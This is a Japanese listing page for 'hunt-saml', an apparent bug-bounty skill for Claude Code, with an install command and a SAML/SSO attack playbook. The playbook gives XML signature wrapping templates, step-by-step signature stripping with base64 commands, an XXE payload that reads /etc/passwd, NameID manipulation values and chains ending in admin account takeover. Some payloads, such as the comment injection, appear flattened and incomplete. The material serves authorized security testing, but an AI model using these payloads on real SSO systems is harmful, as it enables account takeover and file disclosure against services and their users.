hunt-saml について
hunt-samlは、SAMLおよびSSO実装を評価するセキュリティテスト用スキルです。攻撃手法、実践的なテスト手順、ツール、深刻度の判断基準をまとめています。
主な機能
- 01SAMLエンドポイントの発見
- 02XML署名ラッピングのテスト
- 03署名ストリッピングの手順
- 04XXEとNameIDの検査
- 05脆弱性の深刻度判断
活用シーン
- 01SAMLログインフローの評価
- 02アサーション署名検証のテスト
- 03NameID処理とXXEの確認
- 04確認済みSSO問題の優先順位付け
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-samlインストール後、Claude Code で/hunt-samlを入力して読み込まれたか確認します。
詳細
20. SAML / SSO 攻撃
SSO のバグは、高〜クリティカルの報奨金につながることがよくあります。XML パーサーの動作には、よく知られているほど一貫性がありません。
攻撃対象領域
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
攻撃 1:XML 署名ラッピング(XSW)
<saml:Response>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature></ds:Signature>
</saml:Assertion>
</saml:Response>
<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature></ds:Signature>
</saml:Assertion>
</saml:Response>
攻撃 2:NameID へのコメントインジェクション
<NameID>[email protected]</NameID>
攻撃 3:署名の除去
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
攻撃 4:SAML アサーション内の XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
<NameID>&xxe;</NameID>
</saml:Assertion>
攻撃 5:NameID の操作
Test these NameID values:
- [email protected] (generic admin)
- [email protected]
- [email protected]
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)
ツール
# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml # Re-encode
# URL-encode the result before sending as SAMLResponse parameter
SAML のトリアージ
XSW successful = Critical (ATO any user)
Sig stripping = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip = Medium/High (depends on what NameID maps to)
関連スキルとチェーン
hunt-ato— AudienceRestriction の検証が欠落した SAML XSW は、SP を管理者になりすまさせる典型的なチェーンです。チェーンのプリミティブ:XSW1 攻撃で署名済みアサーションを二次位置に移動し、一次位置に[email protected]を持つ悪意のあるアサーションを挿入する + SP が最初のアサーション(悪意のあるもの)を処理する + SP が<AudienceRestriction>を検証しないため、IdP-A 向けのアサーションが SP-B に受け入れられる → フェデレーションされたテナント境界を越えて管理者アカウントを乗っ取る。hunt-auth-bypass— SAML の署名除去は、認証バイパスの典型的なパターンです。このスキルは SAML の仕組みを扱い、hunt-auth-bypass はより広範なバイパス手法を扱います。チェーンのプリミティブ:有効な SAMLResponse を取得する → 正規表現で<ds:Signature>要素を完全に削除する →<NameID>を admin に変更する → base64 で再エンコードする →/saml/acsに POST する → wantAssertionsSigned=false の SP が何も通知せず受け入れる → 暗号学的なチャレンジなしで管理者セッションが発行される。hunt-oauth— SAML を前段に置く OAuth 発行者では、アサーションレベルのバグがトークンレベルの ATO につながります。チェーンのプリミティブ:SAML アサーションの検証後に SP が OAuth ベアラートークンを発行する + XSW で NameID を admin に変更する → SP のトークンエンドポイントが admin クレームを含む OAuth トークンを発行する → すべての下流の OAuth スコープ付き API(管理者 API、請求 API、ユーザー管理 API)が、単一の偽造アサーションによって管理者アクセスを許可する。hunt-xxe— SAML アサーションは XML です。アサーションパーサーの XXE は、XSW に加えて別のチェーンを形成します。チェーンのプリミティブ:disallow-doctype-declを設定していない SAML パーサー + アサーション内の<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>+<NameID>&xxe;</NameID>→ SP が NameID を表示またはログに記録する → /etc/passwd の内容がエラーレスポンスまたは監査ログに漏えいする → SAML SP のインフラストラクチャーでファイル読み取りが可能になる。security-arsenal— SAML/XSW ペイロードカタログ(XSW1-XSW8 テンプレート、libxml/Xerces/MSXML のパーサー差異を狙うコメントインジェクションのバリエーション、複数の Reference 要素を使う署名ラッピング、攻撃者の IdP が署名したアサーションを信頼検証が不十分な SP が受け入れる鍵混同ペイロード)と、「SAMLResponse が誤ったエンドポイントで受け入れられる」という、実際には検証されていない主張のための常に却下されるリストを取得します。triage-validation— NameID、AuthnContext、またはロールを含む AttributeStatements を変更せず、セキュリティに関係しない属性(表示名、ロケール)のみを変更する SAML の「脆弱性」について Critical を主張する前に、Pre-Severity Gate を実行します。認可境界を越えない理論上の XML 操作は Critical ではなく Informational です。ゲートとなるのは、認証判断を変えるステップです。
コメント
Markdown 対応